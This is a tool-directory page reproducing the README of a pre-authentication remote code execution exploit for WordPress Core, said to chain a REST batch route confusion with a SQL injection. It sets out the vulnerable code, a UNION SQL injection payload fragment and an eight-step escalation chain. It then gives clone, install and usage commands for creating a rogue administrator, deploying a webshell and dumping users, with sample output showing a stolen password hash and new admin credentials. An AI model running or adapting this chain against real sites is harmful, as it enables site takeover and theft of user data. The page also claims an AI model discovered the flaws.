Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-63030 — WordPress Core Pre-Auth RCE via REST Batch Route Confusion + SQLi (CVE-2026-63030 + CVE-2026-60137) | Kitploit
Tools/GitHubGitHub/shinthink/cve-2026-63030
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration TestingLearning & EducationPayload Development
GitHubshinthink/cve-2026-63030

CVE-2026-63030

WordPress Core Pre-Auth RCE via REST Batch Route Confusion + SQLi (CVE-2026-63030 + CVE-2026-60137)

View Repository
41 month agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-63030 + CVE-2026-60137 — WP2Shell

WordPress Core Pre-Auth RCE via REST Batch Route Confusion + SQLi


Overview

CVE-2026-63030 (CVSS 9.8) and CVE-2026-60137 (CVSS 9.1) form a critical pre-authentication remote code execution chain in WordPress Core. The vulnerabilities affect all default WordPress installations versions 6.9.0–6.9.4 and 7.0.0–7.0.1.

The chain was autonomously discovered by GPT-5.6 Sol Ultra (OpenAI) in just over 10 hours at a cost of ~$25 — a vulnerability class valued at on exploit broker markets.

$500,000

An unauthenticated attacker achieves RCE by:

  1. REST batch route confusion (CVE-2026-63030) — desynchronizing WordPress's internal handler-to-request arrays
  2. SQL injection via author__not_in (CVE-2026-60137) — bypassing absint() sanitization with a scalar string
  3. UNION SELECT cache poisoning — forging 7 fake WP_Post objects in memory
  4. oEmbed persistence — converting read-only SQLi into real database writes
  5. customize_changeset hijack — temporarily borrowing administrator identity
  6. parse_request hook re-entry — replaying REST API with elevated privileges
  7. POST /wp/v2/users as admin — creating a new administrator account

Active installs: 472+ million (43% of all websites)
Discovered by: GPT-5.6 Sol Ultra via Adam Kues (Searchlight Cyber), July 2026
Chain PoC: Mustafa Can İPEKÇİ (nukedx)
Patch: WordPress 6.9.5 / 7.0.2 / 6.8.6 (July 17, 2026)

Affected Versions

BranchVulnerableFixed
6.9.x6.9.0 – 6.9.46.9.5
7.0.x7.0.0 – 7.0.17.0.2
6.8.xSQLi only (CVE-2026-60137)6.8.6

Vulnerability Mechanism

Root Cause 1: Batch Route Confusion (CVE-2026-63030)

WordPress's REST batch processor (serve_batch_request_v1) maintains two arrays: $validation[] (validation results) and $matches[] (route handlers). When wp_parse_url() fails on a malformed path (///), a WP_Error is pushed into the validation chain but not into the route match chain:

root@kitploit:~
// class-wp-rest-server.php
$parsed_url = wp_parse_url( $args['path'] );
if ( false === $parsed_url ) {
    $requests[] = new WP_Error( 'parse_path_failed', ... );
    continue;  // ← SKIPS $matches[] — desync by one index
}

The exploit uses nested (recursive) batch calls to bypass both method restrictions and parameter sanitization.

Root Cause 2: SQL Injection via author__not_in (CVE-2026-60137)

WP_Query only applies absint() sanitization inside the is_array() branch. When author__not_in arrives as a scalar string, sanitization is completely skipped:

root@kitploit:~
// class-wp-query.php
if ( ! empty( $query_vars['author__not_in'] ) ) {
    if ( is_array( $query_vars['author__not_in'] ) ) {
        $query_vars['author__not_in'] = array_unique( array_map( 'absint', ... ) );  // ONLY if array
    }
    $author__not_in = implode( ',', (array) $query_vars['author__not_in'] );  // scalar passes raw
    $where .= " AND {$wpdb->posts}.post_author NOT IN ($author__not_in) ";     // SQL INJECTION
}

Payload: 0) UNION ALL SELECT ...-- - closes the NOT IN list and appends arbitrary SQL.

Escalation Chain

root@kitploit:~
[1] Batch desync → bypass auth + param checks
[2] UNION SELECT → forge 7 fake WP_Post objects in cache
    ├─ Trigger post    — [embed] shortcode
    ├─ Changeset post  — post_type=customize_changeset, post_status=future
    ├─ Outer partner   — post_parent=changeset (Loop 1)
    ├─ oEmbed target   — cache backing
    ├─ Nav menu item   — post_type=nav_menu_item
    ├─ Request post    — post_type=request, post_status=parse (Loop 2)
    └─ Inner partner   — post_parent=request
[3] oEmbed processing → wp_update_post() → hierarchy cycle detection
[4] Loop 1 fix → writes changeset to DB without overwriting post_content
[5] _wp_customize_publish_changeset() → wp_set_current_user(admin_id)
[6] Loop 2 fix → writes request post → do_action("parse_request")
[7] rest_api_loaded() → serve_request() → batch replayed as ADMIN
[8] POST /wp/v2/users → administrator created

Prerequisites for Full RCE

RequirementWhyDefault?
At least 1 published postSeeds oEmbed cache with loopback URLs✅ "Hello World"
No persistent object cacheUNION rows must not be discarded by split_the_query✅ File cache
REST API accessibleRe-entry via parse_request needs REST server✅
Direct filesystem writePlugin upload needs FS_METHOD=direct✅ Most hosts

Installation

root@kitploit:~
git clone https://github.com/shinthink/CVE-2026-63030.git
cd CVE-2026-63030
pip3 install -r requirements.txt  # or: nothing — stdlib only

Usage

root@kitploit:~
# Full chain — create admin account (pre-auth)
python3 cve_2026_63030.py --url https://target.com

# Check only (non-destructive — verify vulnerability)
python3 cve_2026_63030.py --url https://target.com --check

# Full chain + deploy RCE webshell
python3 cve_2026_63030.py --url https://target.com --rce id

# Dump all users via UNION extraction
python3 cve_2026_63030.py --url https://target.com --dump-users

Output

root@kitploit:~
+======================================================================+
|         wp2shell -- Pre-Auth RCE PoC (Educational / Research)        |
|   CVE-2026-60137 (SQLi)  +  CVE-2026-63030 (Batch Route Confusion)  |
+======================================================================+
  Target :  https://target.com
  Mode   :  FULL CHAIN

[STEP 1] Verifying batch endpoint + route-confusion desync
  [+] Batch endpoint reachable (HTTP 207)
  [+] Desync confirmed (markers: parse_path_failed, rest_batch_not_allowed)

[STEP 2] UNION SQLi — database reconnaissance
  [+] Database version  : 8.0.46
  [+] Database user     : wp_user@localhost
  [+] Database name     : wordpress_db
  [+] Table prefix      : wp_
  [+] Admin login       : admin
  [+] Admin hash        : $P$B5xK3mwBxY2dOe/MKWx5VXGihwSUO
  [+] Admin user ID     : 1

[STEP 3] Creating a fresh administrator via oEmbed post-cache poisoning
  [*] Seeding oEmbed cache with 3 loopback URLs...
  [+] oEmbed cache IDs: [6, 7, 8]
  [*] Submitting changeset poison + user creation...
  [+] Admin created -- username: wp2_a1b2c3d4  password: Wp2!e5f6g7h8i9j0

+======================================================================+
|  EXPLOITATION COMPLETE                                               |
+======================================================================+
  Admin : wp2_a1b2c3d4 / Wp2!e5f6g7h8i9j0
  Login : https://target.com/wp-login.php

Files

FilePurpose
cve_2026_63030.pySingle-target exploit (zero-dependency)
requirements.txtPython dependencies (none required)

References

  • SLCyber — GPT-5.6 Sol discovery write-up
  • WordPress.org — Security release
  • Wiz — Exploitation in the Wild
  • Tenable — FAQ

Disclaimer

For authorized security testing and educational research only. The authors assume no liability for misuse.

Download Tool